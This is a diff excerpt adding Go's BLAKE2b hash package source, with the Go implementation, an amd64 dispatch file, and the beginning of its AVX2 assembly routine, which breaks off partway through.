|
||||
// BLAKE2b is optimized for 64-bit platforms—including NEON-enabled ARMs—and
|
||||
// produces digests of any size between 1 and 64 bytes.
|
||||
// For a detailed specification of BLAKE2b see https://blake2.net/blake2.pdf
|
||||
// and for BLAKE2Xb see https://blake2.net/blake2x.pdf
|
||||
//
|
||||
// If you aren't sure which function you need, use BLAKE2b (Sum512 or New512).
|
||||
// If you need a secret-key MAC (message authentication code), use the New512
|
||||
// function with a non-nil key.
|
||||
//
|
||||
// BLAKE2X is a construction to compute hash values larger than 64 bytes. It
|
||||
// can produce hash values between 0 and 4 GiB.
|
||||
package blake2b
|
||||
|
||||
import (
|
||||
"encoding/binary"
|
||||
"errors"
|
||||
"hash"
|
||||
)
|
||||
|
||||
const (
|
||||
// The blocksize of BLAKE2b in bytes.
|
||||
BlockSize = 128
|
||||
// The hash size of BLAKE2b-512 in bytes.
|
||||
Size = 64
|
||||
// The hash size of BLAKE2b-384 in bytes.
|
||||
Size384 = 48
|
||||
// The hash size of BLAKE2b-256 in bytes.
|
||||
Size256 = 32
|
||||
)
|
||||
|
||||
var (
|
||||
useAVX2 bool
|
||||
useAVX bool
|
||||
useSSE4 bool
|
||||
)
|
||||
|
||||
var (
|
||||
errKeySize = errors.New("blake2b: invalid key size")
|
||||
errHashSize = errors.New("blake2b: invalid hash size")
|
||||
)
|
||||
|
||||
var iv = [8]uint64{
|
||||
0x6a09e667f3bcc908, 0xbb67ae8584caa73b, 0x3c6ef372fe94f82b, 0xa54ff53a5f1d36f1,
|
||||
0x510e527fade682d1, 0x9b05688c2b3e6c1f, 0x1f83d9abfb41bd6b, 0x5be0cd19137e2179,
|
||||
}
|
||||
|
||||
// Sum512 returns the BLAKE2b-512 checksum of the data.
|
||||
func Sum512(data []byte) [Size]byte {
|
||||
var sum [Size]byte
|
||||
checkSum(&sum, Size, data)
|
||||
return sum
|
||||
}
|
||||
|
||||
// Sum384 returns the BLAKE2b-384 checksum of the data.
|
||||
func Sum384(data []byte) [Size384]byte {
|
||||
var sum [Size]byte
|
||||
var sum384 [Size384]byte
|
||||
checkSum(&sum, Size384, data)
|
||||
copy(sum384[:], sum[:Size384])
|
||||
return sum384
|
||||
}
|
||||
|
||||
// Sum256 returns the BLAKE2b-256 checksum of the data.
|
||||
func Sum256(data []byte) [Size256]byte {
|
||||
var sum [Size]byte
|
||||
var sum256 [Size256]byte
|
||||
checkSum(&sum, Size256, data)
|
||||
copy(sum256[:], sum[:Size256])
|
||||
return sum256
|
||||
}
|
||||
|
||||
// New512 returns a new hash.Hash computing the BLAKE2b-512 checksum. A non-nil
|
||||
// key turns the hash into a MAC. The key must be between zero and 64 bytes long.
|
||||
func New512(key []byte) (hash.Hash, error) { return newDigest(Size, key) }
|
||||
|
||||
// New384 returns a new hash.Hash computing the BLAKE2b-384 checksum. A non-nil
|
||||
// key turns the hash into a MAC. The key must be between zero and 64 bytes long.
|
||||
func New384(key []byte) (hash.Hash, error) { return newDigest(Size384, key) }
|
||||
|
||||
// New256 returns a new hash.Hash computing the BLAKE2b-256 checksum. A non-nil
|
||||
// key turns the hash into a MAC. The key must be between zero and 64 bytes long.
|
||||
func New256(key []byte) (hash.Hash, error) { return newDigest(Size256, key) }
|
||||
|
||||
// New returns a new hash.Hash computing the BLAKE2b checksum with a custom length.
|
||||
// A non-nil key turns the hash into a MAC. The key must be between zero and 64 bytes long.
|
||||
// The hash size can be a value between 1 and 64 but it is highly recommended to use
|
||||
// values equal or greater than:
|
||||
// - 32 if BLAKE2b is used as a hash function (The key is zero bytes long).
|
||||
// - 16 if BLAKE2b is used as a MAC function (The key is at least 16 bytes long).
|
||||
// When the key is nil, the returned hash.Hash implements BinaryMarshaler
|
||||
// and BinaryUnmarshaler for state (de)serialization as documented by hash.Hash.
|
||||
func New(size int, key []byte) (hash.Hash, error) { return newDigest(size, key) }
|
||||
|
||||
func newDigest(hashSize int, key []byte) (*digest, error) {
|
||||
if hashSize < 1 || hashSize > Size {
|
||||
return nil, errHashSize
|
||||
}
|
||||
if len(key) > Size {
|
||||
return nil, errKeySize
|
||||
}
|
||||
d := &digest{
|
||||
size: hashSize,
|
||||
keyLen: len(key),
|
||||
}
|
||||
copy(d.key[:], key)
|
||||
d.Reset()
|
||||
return d, nil
|
||||
}
|
||||
|
||||
func checkSum(sum *[Size]byte, hashSize int, data []byte) {
|
||||
h := iv
|
||||
h[0] ^= uint64(hashSize) | (1 << 16) | (1 << 24)
|
||||
var c [2]uint64
|
||||
|
||||
if length := len(data); length > BlockSize {
|
||||
n := length &^ (BlockSize - 1)
|
||||
if length == n {
|
||||
n -= BlockSize
|
||||
}
|
||||
hashBlocks(&h, &c, 0, data[:n])
|
||||
data = data[n:]
|
||||
}
|
||||
|
||||
var block [BlockSize]byte
|
||||
offset := copy(block[:], data)
|
||||
remaining := uint64(BlockSize - offset)
|
||||
if c[0] < remaining {
|
||||
c[1]--
|
||||
}
|
||||
c[0] -= remaining
|
||||
|
||||
hashBlocks(&h, &c, 0xFFFFFFFFFFFFFFFF, block[:])
|
||||
|
||||
for i, v := range h[:(hashSize+7)/8] {
|
||||
binary.LittleEndian.PutUint64(sum[8*i:], v)
|
||||
}
|
||||
}
|
||||
|
||||
type digest struct {
|
||||
h [8]uint64
|
||||
c [2]uint64
|
||||
size int
|
||||
block [BlockSize]byte
|
||||
offset int
|
||||
|
||||
key [BlockSize]byte
|
||||
keyLen int
|
||||
}
|
||||
|
||||
const (
|
||||
magic = "b2b"
|
||||
marshaledSize = len(magic) + 8*8 + 2*8 + 1 + BlockSize + 1
|
||||
)
|
||||
|
||||
func (d *digest) MarshalBinary() ([]byte, error) {
|
||||
if d.keyLen != 0 {
|
||||
return nil, errors.New("crypto/blake2b: cannot marshal MACs")
|
||||
}
|
||||
b := make([]byte, 0, marshaledSize)
|
||||
b = append(b, magic...)
|
||||
for i := 0; i < 8; i++ {
|
||||
b = appendUint64(b, d.h[i])
|
||||
}
|
||||
b = appendUint64(b, d.c[0])
|
||||
b = appendUint64(b, d.c[1])
|
||||
// Maximum value for size is 64
|
||||
b = append(b, byte(d.size))
|
||||
b = append(b, d.block[:]...)
|
||||
b = append(b, byte(d.offset))
|
||||
return b, nil
|
||||
}
|
||||
|
||||
func (d *digest) UnmarshalBinary(b []byte) error {
|
||||
if len(b) < len(magic) || string(b[:len(magic)]) != magic {
|
||||
return errors.New("crypto/blake2b: invalid hash state identifier")
|
||||
}
|
||||
if len(b) != marshaledSize {
|
||||
return errors.New("crypto/blake2b: invalid hash state size")
|
||||
}
|
||||
b = b[len(magic):]
|
||||
for i := 0; i < 8; i++ {
|
||||
b, d.h[i] = consumeUint64(b)
|
||||
}
|
||||
b, d.c[0] = consumeUint64(b)
|
||||
b, d.c[1] = consumeUint64(b)
|
||||
d.size = int(b[0])
|
||||
b = b[1:]
|
||||
copy(d.block[:], b[:BlockSize])
|
||||
b = b[BlockSize:]
|
||||
d.offset = int(b[0])
|
||||
return nil
|
||||
}
|
||||
|
||||
func (d *digest) BlockSize() int { return BlockSize }
|
||||
|
||||
func (d *digest) Size() int { return d.size }
|
||||
|
||||
func (d *digest) Reset() {
|
||||
d.h = iv
|
||||
d.h[0] ^= uint64(d.size) | (uint64(d.keyLen) << 8) | (1 << 16) | (1 << 24)
|
||||
d.offset, d.c[0], d.c[1] = 0, 0, 0
|
||||
if d.keyLen > 0 {
|
||||
d.block = d.key
|
||||
d.offset = BlockSize
|
||||
}
|
||||
}
|
||||
|
||||
func (d *digest) Write(p []byte) (n int, err error) {
|
||||
n = len(p)
|
||||
|
||||
if d.offset > 0 {
|
||||
remaining := BlockSize - d.offset
|
||||
if n <= remaining {
|
||||
d.offset += copy(d.block[d.offset:], p)
|
||||
return
|
||||
}
|
||||
copy(d.block[d.offset:], p[:remaining])
|
||||
hashBlocks(&d.h, &d.c, 0, d.block[:])
|
||||
d.offset = 0
|
||||
p = p[remaining:]
|
||||
}
|
||||
|
||||
if length := len(p); length > BlockSize {
|
||||
nn := length &^ (BlockSize - 1)
|
||||
if length == nn {
|
||||
nn -= BlockSize
|
||||
}
|
||||
hashBlocks(&d.h, &d.c, 0, p[:nn])
|
||||
p = p[nn:]
|
||||
}
|
||||
|
||||
if len(p) > 0 {
|
||||
d.offset += copy(d.block[:], p)
|
||||
}
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
func (d *digest) Sum(sum []byte) []byte {
|
||||
var hash [Size]byte
|
||||
d.finalize(&hash)
|
||||
return append(sum, hash[:d.size]...)
|
||||
}
|
||||
|
||||
func (d *digest) finalize(hash *[Size]byte) {
|
||||
var block [BlockSize]byte
|
||||
copy(block[:], d.block[:d.offset])
|
||||
remaining := uint64(BlockSize - d.offset)
|
||||
|
||||
c := d.c
|
||||
if c[0] < remaining {
|
||||
c[1]--
|
||||
}
|
||||
c[0] -= remaining
|
||||
|
||||
h := d.h
|
||||
hashBlocks(&h, &c, 0xFFFFFFFFFFFFFFFF, block[:])
|
||||
|
||||
for i, v := range h {
|
||||
binary.LittleEndian.PutUint64(hash[8*i:], v)
|
||||
}
|
||||
}
|
||||
|
||||
func appendUint64(b []byte, x uint64) []byte {
|
||||
var a [8]byte
|
||||
binary.BigEndian.PutUint64(a[:], x)
|
||||
return append(b, a[:]...)
|
||||
}
|
||||
|
||||
func appendUint32(b []byte, x uint32) []byte {
|
||||
var a [4]byte
|
||||
binary.BigEndian.PutUint32(a[:], x)
|
||||
return append(b, a[:]...)
|
||||
}
|
||||
|
||||
func consumeUint64(b []byte) ([]byte, uint64) {
|
||||
x := binary.BigEndian.Uint64(b)
|
||||
return b[8:], x
|
||||
}
|
||||
|
||||
func consumeUint32(b []byte) ([]byte, uint32) {
|
||||
x := binary.BigEndian.Uint32(b)
|
||||
return b[4:], x
|
||||
}
|
||||
|
|
@ -0,0 +1,37 @@
|
|||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build amd64 && gc && !purego
|
||||
|
||||
package blake2b
|
||||
|
||||
import "golang.org/x/sys/cpu"
|
||||
|
||||
func init() {
|
||||
useAVX2 = cpu.X86.HasAVX2
|
||||
useAVX = cpu.X86.HasAVX
|
||||
useSSE4 = cpu.X86.HasSSE41
|
||||
}
|
||||
|
||||
//go:noescape
|
||||
func hashBlocksAVX2(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte)
|
||||
|
||||
//go:noescape
|
||||
func hashBlocksAVX(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte)
|
||||
|
||||
//go:noescape
|
||||
func hashBlocksSSE4(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte)
|
||||
|
||||
func hashBlocks(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte) {
|
||||
switch {
|
||||
case useAVX2:
|
||||
hashBlocksAVX2(h, c, flag, blocks)
|
||||
case useAVX:
|
||||
hashBlocksAVX(h, c, flag, blocks)
|
||||
case useSSE4:
|
||||
hashBlocksSSE4(h, c, flag, blocks)
|
||||
default:
|
||||
hashBlocksGeneric(h, c, flag, blocks)
|
||||
}
|
||||
}
|
||||
|
|
@ -0,0 +1,744 @@
|
|||
// Copyright 2016 The Go Authors. All rights reserved.
|
||||
// Use of this source code is governed by a BSD-style
|
||||
// license that can be found in the LICENSE file.
|
||||
|
||||
//go:build amd64 && gc && !purego
|
||||
|
||||
#include "textflag.h"
|
||||
|
||||
DATA ·AVX2_iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908
|
||||
DATA ·AVX2_iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b
|
||||
DATA ·AVX2_iv0<>+0x10(SB)/8, $0x3c6ef372fe94f82b
|
||||
DATA ·AVX2_iv0<>+0x18(SB)/8, $0xa54ff53a5f1d36f1
|
||||
GLOBL ·AVX2_iv0<>(SB), (NOPTR+RODATA), $32
|
||||
|
||||
DATA ·AVX2_iv1<>+0x00(SB)/8, $0x510e527fade682d1
|
||||
DATA ·AVX2_iv1<>+0x08(SB)/8, $0x9b05688c2b3e6c1f
|
||||
DATA ·AVX2_iv1<>+0x10(SB)/8, $0x1f83d9abfb41bd6b
|
||||
DATA ·AVX2_iv1<>+0x18(SB)/8, $0x5be0cd19137e2179
|
||||
GLOBL ·AVX2_iv1<>(SB), (NOPTR+RODATA), $32
|
||||
|
||||
DATA ·AVX2_c40<>+0x00(SB)/8, $0x0201000706050403
|
||||
DATA ·AVX2_c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b
|
||||
DATA ·AVX2_c40<>+0x10(SB)/8, $0x0201000706050403
|
||||
DATA ·AVX2_c40<>+0x18(SB)/8, $0x0a09080f0e0d0c0b
|
||||
GLOBL ·AVX2_c40<>(SB), (NOPTR+RODATA), $32
|
||||
|
||||
DATA ·AVX2_c48<>+0x00(SB)/8, $0x0100070605040302
|
||||
DATA ·AVX2_c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a
|
||||
DATA ·AVX2_c48<>+0x10(SB)/8, $0x0100070605040302
|
||||
DATA ·AVX2_c48<>+0x18(SB)/8, $0x09080f0e0d0c0b0a
|
||||
GLOBL ·AVX2_c48<>(SB), (NOPTR+RODATA), $32
|
||||
|
||||
DATA ·AVX_iv0<>+0x00(SB)/8, $0x6a09e667f3bcc908
|
||||
DATA ·AVX_iv0<>+0x08(SB)/8, $0xbb67ae8584caa73b
|
||||
GLOBL ·AVX_iv0<>(SB), (NOPTR+RODATA), $16
|
||||
|
||||
DATA ·AVX_iv1<>+0x00(SB)/8, $0x3c6ef372fe94f82b
|
||||
DATA ·AVX_iv1<>+0x08(SB)/8, $0xa54ff53a5f1d36f1
|
||||
GLOBL ·AVX_iv1<>(SB), (NOPTR+RODATA), $16
|
||||
|
||||
DATA ·AVX_iv2<>+0x00(SB)/8, $0x510e527fade682d1
|
||||
DATA ·AVX_iv2<>+0x08(SB)/8, $0x9b05688c2b3e6c1f
|
||||
GLOBL ·AVX_iv2<>(SB), (NOPTR+RODATA), $16
|
||||
|
||||
DATA ·AVX_iv3<>+0x00(SB)/8, $0x1f83d9abfb41bd6b
|
||||
DATA ·AVX_iv3<>+0x08(SB)/8, $0x5be0cd19137e2179
|
||||
GLOBL ·AVX_iv3<>(SB), (NOPTR+RODATA), $16
|
||||
|
||||
DATA ·AVX_c40<>+0x00(SB)/8, $0x0201000706050403
|
||||
DATA ·AVX_c40<>+0x08(SB)/8, $0x0a09080f0e0d0c0b
|
||||
GLOBL ·AVX_c40<>(SB), (NOPTR+RODATA), $16
|
||||
|
||||
DATA ·AVX_c48<>+0x00(SB)/8, $0x0100070605040302
|
||||
DATA ·AVX_c48<>+0x08(SB)/8, $0x09080f0e0d0c0b0a
|
||||
GLOBL ·AVX_c48<>(SB), (NOPTR+RODATA), $16
|
||||
|
||||
#define VPERMQ_0x39_Y1_Y1 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xc9; BYTE $0x39
|
||||
#define VPERMQ_0x93_Y1_Y1 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xc9; BYTE $0x93
|
||||
#define VPERMQ_0x4E_Y2_Y2 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xd2; BYTE $0x4e
|
||||
#define VPERMQ_0x93_Y3_Y3 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xdb; BYTE $0x93
|
||||
#define VPERMQ_0x39_Y3_Y3 BYTE $0xc4; BYTE $0xe3; BYTE $0xfd; BYTE $0x00; BYTE $0xdb; BYTE $0x39
|
||||
|
||||
#define ROUND_AVX2(m0, m1, m2, m3, t, c40, c48) \
|
||||
VPADDQ m0, Y0, Y0; \
|
||||
VPADDQ Y1, Y0, Y0; \
|
||||
VPXOR Y0, Y3, Y3; \
|
||||
VPSHUFD $-79, Y3, Y3; \
|
||||
VPADDQ Y3, Y2, Y2; \
|
||||
VPXOR Y2, Y1, Y1; \
|
||||
VPSHUFB c40, Y1, Y1; \
|
||||
VPADDQ m1, Y0, Y0; \
|
||||
VPADDQ Y1, Y0, Y0; \
|
||||
VPXOR Y0, Y3, Y3; \
|
||||
VPSHUFB c48, Y3, Y3; \
|
||||
VPADDQ Y3, Y2, Y2; \
|
||||
VPXOR Y2, Y1, Y1; \
|
||||
VPADDQ Y1, Y1, t; \
|
||||
VPSRLQ $63, Y1, Y1; \
|
||||
VPXOR t, Y1, Y1; \
|
||||
VPERMQ_0x39_Y1_Y1; \
|
||||
VPERMQ_0x4E_Y2_Y2; \
|
||||
VPERMQ_0x93_Y3_Y3; \
|
||||
VPADDQ m2, Y0, Y0; \
|
||||
VPADDQ Y1, Y0, Y0; \
|
||||
VPXOR Y0, Y3, Y3; \
|
||||
VPSHUFD $-79, Y3, Y3; \
|
||||
VPADDQ Y3, Y2, Y2; \
|
||||
VPXOR Y2, Y1, Y1; \
|
||||
VPSHUFB c40, Y1, Y1; \
|
||||
VPADDQ m3, Y0, Y0; \
|
||||
VPADDQ Y1, Y0, Y0; \
|
||||
VPXOR Y0, Y3, Y3; \
|
||||
VPSHUFB c48, Y3, Y3; \
|
||||
VPADDQ Y3, Y2, Y2; \
|
||||
VPXOR Y2, Y1, Y1; \
|
||||
VPADDQ Y1, Y1, t; \
|
||||
VPSRLQ $63, Y1, Y1; \
|
||||
VPXOR t, Y1, Y1; \
|
||||
VPERMQ_0x39_Y3_Y3; \
|
||||
VPERMQ_0x4E_Y2_Y2; \
|
||||
VPERMQ_0x93_Y1_Y1
|
||||
|
||||
#define VMOVQ_SI_X11_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x1E
|
||||
#define VMOVQ_SI_X12_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x26
|
||||
#define VMOVQ_SI_X13_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x2E
|
||||
#define VMOVQ_SI_X14_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x36
|
||||
#define VMOVQ_SI_X15_0 BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x3E
|
||||
|
||||
#define VMOVQ_SI_X11(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x5E; BYTE $n
|
||||
#define VMOVQ_SI_X12(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x66; BYTE $n
|
||||
#define VMOVQ_SI_X13(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x6E; BYTE $n
|
||||
#define VMOVQ_SI_X14(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x76; BYTE $n
|
||||
#define VMOVQ_SI_X15(n) BYTE $0xC5; BYTE $0x7A; BYTE $0x7E; BYTE $0x7E; BYTE $n
|
||||
|
||||
#define VPINSRQ_1_SI_X11_0 BYTE $0xC4; BYTE $0x63; BYTE $0xA1; BYTE $0x22; BYTE $0x1E; BYTE $0x01
|
||||
#define VPINSRQ_1_SI_X12_0 BYTE $0xC4; BYTE $0x63; BYTE $0x99; BYTE $0x22; BYTE $0x26; BYTE $0x01
|
||||
#define VPINSRQ_1_SI_X13_0 BYTE $0xC4; BYTE $0x63; BYTE $0x91; BYTE $0x22; BYTE $0x2E; BYTE $0x01
|
||||
#define VPINSRQ_1_SI_X14_0 BYTE $0xC4; BYTE $0x63; BYTE $0x89; BYTE $0x22; BYTE $0x36; BYTE $0x01
|
||||
#define VPINSRQ_1_SI_X15_0 BYTE $0xC4; BYTE $0x63; BYTE $0x81; BYTE $0x22; BYTE $0x3E; BYTE $0x01
|
||||
|
||||
#define VPINSRQ_1_SI_X11(n) BYTE $0xC4; BYTE $0x63; BYTE $0xA1; BYTE $0x22; BYTE $0x5E; BYTE $n; BYTE $0x01
|
||||
#define VPINSRQ_1_SI_X12(n) BYTE $0xC4; BYTE $0x63; BYTE $0x99; BYTE $0x22; BYTE $0x66; BYTE $n; BYTE $0x01
|
||||
#define VPINSRQ_1_SI_X13(n) BYTE $0xC4; BYTE $0x63; BYTE $0x91; BYTE $0x22; BYTE $0x6E; BYTE $n; BYTE $0x01
|
||||
#define VPINSRQ_1_SI_X14(n) BYTE $0xC4; BYTE $0x63; BYTE $0x89; BYTE $0x22; BYTE $0x76; BYTE $n; BYTE $0x01
|
||||
#define VPINSRQ_1_SI_X15(n) BYTE $0xC4; BYTE $0x63; BYTE $0x81; BYTE $0x22; BYTE $0x7E; BYTE $n; BYTE $0x01
|
||||
|
||||
#define VMOVQ_R8_X15 BYTE $0xC4; BYTE $0x41; BYTE $0xF9; BYTE $0x6E; BYTE $0xF8
|
||||
#define VPINSRQ_1_R9_X15 BYTE $0xC4; BYTE $0x43; BYTE $0x81; BYTE $0x22; BYTE $0xF9; BYTE $0x01
|
||||
|
||||
// load msg: Y12 = (i0, i1, i2, i3)
|
||||
// i0, i1, i2, i3 must not be 0
|
||||
#define LOAD_MSG_AVX2_Y12(i0, i1, i2, i3) \
|
||||
VMOVQ_SI_X12(i0*8); \
|
||||
VMOVQ_SI_X11(i2*8); \
|
||||
VPINSRQ_1_SI_X12(i1*8); \
|
||||
VPINSRQ_1_SI_X11(i3*8); \
|
||||
VINSERTI128 $1, X11, Y12, Y12
|
||||
|
||||
// load msg: Y13 = (i0, i1, i2, i3)
|
||||
// i0, i1, i2, i3 must not be 0
|
||||
#define LOAD_MSG_AVX2_Y13(i0, i1, i2, i3) \
|
||||
VMOVQ_SI_X13(i0*8); \
|
||||
VMOVQ_SI_X11(i2*8); \
|
||||
VPINSRQ_1_SI_X13(i1*8); \
|
||||
VPINSRQ_1_SI_X11(i3*8); \
|
||||
VINSERTI128 $1, X11, Y13, Y13
|
||||
|
||||
// load msg: Y14 = (i0, i1, i2, i3)
|
||||
// i0, i1, i2, i3 must not be 0
|
||||
#define LOAD_MSG_AVX2_Y14(i0, i1, i2, i3) \
|
||||
VMOVQ_SI_X14(i0*8); \
|
||||
VMOVQ_SI_X11(i2*8); \
|
||||
VPINSRQ_1_SI_X14(i1*8); \
|
||||
VPINSRQ_1_SI_X11(i3*8); \
|
||||
VINSERTI128 $1, X11, Y14, Y14
|
||||
|
||||
// load msg: Y15 = (i0, i1, i2, i3)
|
||||
// i0, i1, i2, i3 must not be 0
|
||||
#define LOAD_MSG_AVX2_Y15(i0, i1, i2, i3) \
|
||||
VMOVQ_SI_X15(i0*8); \
|
||||
VMOVQ_SI_X11(i2*8); \
|
||||
VPINSRQ_1_SI_X15(i1*8); \
|
||||
VPINSRQ_1_SI_X11(i3*8); \
|
||||
VINSERTI128 $1, X11, Y15, Y15
|
||||
|
||||
#define LOAD_MSG_AVX2_0_2_4_6_1_3_5_7_8_10_12_14_9_11_13_15() \
|
||||
VMOVQ_SI_X12_0; \
|
||||
VMOVQ_SI_X11(4*8); \
|
||||
VPINSRQ_1_SI_X12(2*8); \
|
||||
VPINSRQ_1_SI_X11(6*8); \
|
||||
VINSERTI128 $1, X11, Y12, Y12; \
|
||||
LOAD_MSG_AVX2_Y13(1, 3, 5, 7); \
|
||||
LOAD_MSG_AVX2_Y14(8, 10, 12, 14); \
|
||||
LOAD_MSG_AVX2_Y15(9, 11, 13, 15)
|
||||
|
||||
#define LOAD_MSG_AVX2_14_4_9_13_10_8_15_6_1_0_11_5_12_2_7_3() \
|
||||
LOAD_MSG_AVX2_Y12(14, 4, 9, 13); \
|
||||
LOAD_MSG_AVX2_Y13(10, 8, 15, 6); \
|
||||
VMOVQ_SI_X11(11*8); \
|
||||
VPSHUFD $0x4E, 0*8(SI), X14; \
|
||||
VPINSRQ_1_SI_X11(5*8); \
|
||||
VINSERTI128 $1, X11, Y14, Y14; \
|
||||
LOAD_MSG_AVX2_Y15(12, 2, 7, 3)
|
||||
|
||||
#define LOAD_MSG_AVX2_11_12_5_15_8_0_2_13_10_3_7_9_14_6_1_4() \
|
||||
VMOVQ_SI_X11(5*8); \
|
||||
VMOVDQU 11*8(SI), X12; \
|
||||
VPINSRQ_1_SI_X11(15*8); \
|
||||
VINSERTI128 $1, X11, Y12, Y12; \
|
||||
VMOVQ_SI_X13(8*8); \
|
||||
VMOVQ_SI_X11(2*8); \
|
||||
VPINSRQ_1_SI_X13_0; \
|
||||
VPINSRQ_1_SI_X11(13*8); \
|
||||
VINSERTI128 $1, X11, Y13, Y13; \
|
||||
LOAD_MSG_AVX2_Y14(10, 3, 7, 9); \
|
||||
LOAD_MSG_AVX2_Y15(14, 6, 1, 4)
|
||||
|
||||
#define LOAD_MSG_AVX2_7_3_13_11_9_1_12_14_2_5_4_15_6_10_0_8() \
|
||||
LOAD_MSG_AVX2_Y12(7, 3, 13, 11); \
|
||||
LOAD_MSG_AVX2_Y13(9, 1, 12, 14); \
|
||||
LOAD_MSG_AVX2_Y14(2, 5, 4, 15); \
|
||||
VMOVQ_SI_X15(6*8); \
|
||||
VMOVQ_SI_X11_0; \
|
||||
VPINSRQ_1_SI_X15(10*8); \
|
||||
VPINSRQ_1_SI_X11(8*8); \
|
||||
VINSERTI128 $1, X11, Y15, Y15
|
||||
|
||||
#define LOAD_MSG_AVX2_9_5_2_10_0_7_4_15_14_11_6_3_1_12_8_13() \
|
||||
LOAD_MSG_AVX2_Y12(9, 5, 2, 10); \
|
||||
VMOVQ_SI_X13_0; \
|
||||
VMOVQ_SI_X11(4*8); \
|
||||
VPINSRQ_1_SI_X13(7*8); \
|
||||
VPINSRQ_1_SI_X11(15*8); \
|
||||
VINSERTI128 $1, X11, Y13, Y13; \
|
||||
LOAD_MSG_AVX2_Y14(14, 11, 6, 3); \
|
||||
LOAD_MSG_AVX2_Y15(1, 12, 8, 13)
|
||||
|
||||
#define LOAD_MSG_AVX2_2_6_0_8_12_10_11_3_4_7_15_1_13_5_14_9() \
|
||||
VMOVQ_SI_X12(2*8); \
|
||||
VMOVQ_SI_X11_0; \
|
||||
VPINSRQ_1_SI_X12(6*8); \
|
||||
VPINSRQ_1_SI_X11(8*8); \
|
||||
VINSERTI128 $1, X11, Y12, Y12; \
|
||||
LOAD_MSG_AVX2_Y13(12, 10, 11, 3); \
|
||||
LOAD_MSG_AVX2_Y14(4, 7, 15, 1); \
|
||||
LOAD_MSG_AVX2_Y15(13, 5, 14, 9)
|
||||
|
||||
#define LOAD_MSG_AVX2_12_1_14_4_5_15_13_10_0_6_9_8_7_3_2_11() \
|
||||
LOAD_MSG_AVX2_Y12(12, 1, 14, 4); \
|
||||
LOAD_MSG_AVX2_Y13(5, 15, 13, 10); \
|
||||
VMOVQ_SI_X14_0; \
|
||||
VPSHUFD $0x4E, 8*8(SI), X11; \
|
||||
VPINSRQ_1_SI_X14(6*8); \
|
||||
VINSERTI128 $1, X11, Y14, Y14; \
|
||||
LOAD_MSG_AVX2_Y15(7, 3, 2, 11)
|
||||
|
||||
#define LOAD_MSG_AVX2_13_7_12_3_11_14_1_9_5_15_8_2_0_4_6_10() \
|
||||
LOAD_MSG_AVX2_Y12(13, 7, 12, 3); \
|
||||
LOAD_MSG_AVX2_Y13(11, 14, 1, 9); \
|
||||
LOAD_MSG_AVX2_Y14(5, 15, 8, 2); \
|
||||
VMOVQ_SI_X15_0; \
|
||||
VMOVQ_SI_X11(6*8); \
|
||||
VPINSRQ_1_SI_X15(4*8); \
|
||||
VPINSRQ_1_SI_X11(10*8); \
|
||||
VINSERTI128 $1, X11, Y15, Y15
|
||||
|
||||
#define LOAD_MSG_AVX2_6_14_11_0_15_9_3_8_12_13_1_10_2_7_4_5() \
|
||||
VMOVQ_SI_X12(6*8); \
|
||||
VMOVQ_SI_X11(11*8); \
|
||||
VPINSRQ_1_SI_X12(14*8); \
|
||||
VPINSRQ_1_SI_X11_0; \
|
||||
VINSERTI128 $1, X11, Y12, Y12; \
|
||||
LOAD_MSG_AVX2_Y13(15, 9, 3, 8); \
|
||||
VMOVQ_SI_X11(1*8); \
|
||||
VMOVDQU 12*8(SI), X14; \
|
||||
VPINSRQ_1_SI_X11(10*8); \
|
||||
VINSERTI128 $1, X11, Y14, Y14; \
|
||||
VMOVQ_SI_X15(2*8); \
|
||||
VMOVDQU 4*8(SI), X11; \
|
||||
VPINSRQ_1_SI_X15(7*8); \
|
||||
VINSERTI128 $1, X11, Y15, Y15
|
||||
|
||||
#define LOAD_MSG_AVX2_10_8_7_1_2_4_6_5_15_9_3_13_11_14_12_0() \
|
||||
LOAD_MSG_AVX2_Y12(10, 8, 7, 1); \
|
||||
VMOVQ_SI_X13(2*8); \
|
||||
VPSHUFD $0x4E, 5*8(SI), X11; \
|
||||
VPINSRQ_1_SI_X13(4*8); \
|
||||
VINSERTI128 $1, X11, Y13, Y13; \
|
||||
LOAD_MSG_AVX2_Y14(15, 9, 3, 13); \
|
||||
VMOVQ_SI_X15(11*8); \
|
||||
VMOVQ_SI_X11(12*8); \
|
||||
VPINSRQ_1_SI_X15(14*8); \
|
||||
VPINSRQ_1_SI_X11_0; \
|
||||
VINSERTI128 $1, X11, Y15, Y15
|
||||
|
||||
// func hashBlocksAVX2(h *[8]uint64, c *[2]uint64, flag uint64, blocks []byte)
|
||||
TEXT ·hashBlocksAVX2(SB), 4, $320-48 // frame size = 288 + 32 byte alignment
|
||||
MOVQ h+0(FP), AX
|
||||
MOVQ c+8(FP), BX
|
||||
MOVQ flag+16(FP), CX
|
||||
MOVQ blocks_base+24(FP), SI
|
||||
MOVQ blocks_len+32(FP), DI
|
||||
|
||||
MOVQ SP, DX
|
||||
ADDQ $31, DX
|
||||
ANDQ $~31, DX
|
||||
|
||||
MOVQ CX, 16(DX)
|
||||
XORQ CX, CX
|
||||
MOVQ CX, 24(DX)
|
||||
|
||||
